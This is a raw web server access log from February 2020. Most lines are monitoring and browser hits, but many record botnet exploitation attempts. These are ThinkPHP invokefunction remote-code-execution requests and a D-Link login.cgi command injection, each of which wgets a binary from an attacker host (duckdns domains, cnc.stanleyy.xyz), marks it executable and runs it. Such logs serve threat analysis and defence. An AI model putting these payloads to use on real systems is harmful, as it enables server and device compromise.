212.91.246.72 - - [11/Feb/2020:22:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.99.59.11 - - [11/Feb/2020:22:32:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:22:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.109.56.196 - - [11/Feb/2020:22:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:22:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.166.225.10 - - [11/Feb/2020:22:36:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:22:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.71.182.143 - - [11/Feb/2020:22:45:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:22:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [11/Feb/2020:22:46:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:22:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.7 - - [11/Feb/2020:22:48:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:22:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.61.58.215 - - [11/Feb/2020:22:49:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:22:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.52.231 - - [11/Feb/2020:22:51:12 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.79.52.231 - - [11/Feb/2020:22:51:12 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.79.52.231 - - [11/Feb/2020:22:51:13 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.79.52.231 - - [11/Feb/2020:22:51:13 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.79.52.231 - - [11/Feb/2020:22:51:13 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.79.52.231 - - [11/Feb/2020:22:51:14 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.79.52.231 - - [11/Feb/2020:22:51:14 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.79.52.231 - - [11/Feb/2020:22:51:15 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.79.52.231 - - [11/Feb/2020:22:51:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [11/Feb/2020:22:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.54.25.202 - - [11/Feb/2020:22:58:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.54.25.202 - - [11/Feb/2020:22:58:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.207.169.31 - - [11/Feb/2020:22:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:22:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:22:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [11/Feb/2020:23:00:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.211.4 - - [11/Feb/2020:23:02:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.226.197 - - [11/Feb/2020:23:05:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.226.197 - - [11/Feb/2020:23:08:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.213.29 - - [11/Feb/2020:23:08:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.180.224.249 - - [11/Feb/2020:23:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
58.58.7.106 - - [11/Feb/2020:23:10:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.153.147.115 - - [11/Feb/2020:23:13:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:23:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [11/Feb/2020:23:23:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [11/Feb/2020:23:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.16.155.102 - - [11/Feb/2020:23:23:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:23:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.208.163.44 - - [11/Feb/2020:23:25:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
139.162.106.181 - - [11/Feb/2020:23:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
177.68.35.216 - - [11/Feb/2020:23:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:23:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.43.143 - - [11/Feb/2020:23:28:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.164.172.185 - - [11/Feb/2020:23:30:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:23:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [11/Feb/2020:23:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [11/Feb/2020:23:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.180.224.249 - - [11/Feb/2020:23:33:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [11/Feb/2020:23:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.57.69 - - [11/Feb/2020:23:35:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.137.36.6 - - [11/Feb/2020:23:36:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:23:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.156.31 - - [11/Feb/2020:23:37:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.158.36.222 - - [11/Feb/2020:23:41:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.223.3.19 - - [11/Feb/2020:23:47:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.78.136 - - [11/Feb/2020:23:54:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
138.97.219.249 - - [11/Feb/2020:23:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:23:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.212.89.95 - - [11/Feb/2020:23:55:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.64 - - [11/Feb/2020:23:56:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:23:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.110.211.115 - - [11/Feb/2020:23:57:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:23:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:23:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.219.82 - - [12/Feb/2020:00:00:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.31.29.24 - - [12/Feb/2020:00:01:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
2.134.19.3 - - [12/Feb/2020:00:02:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
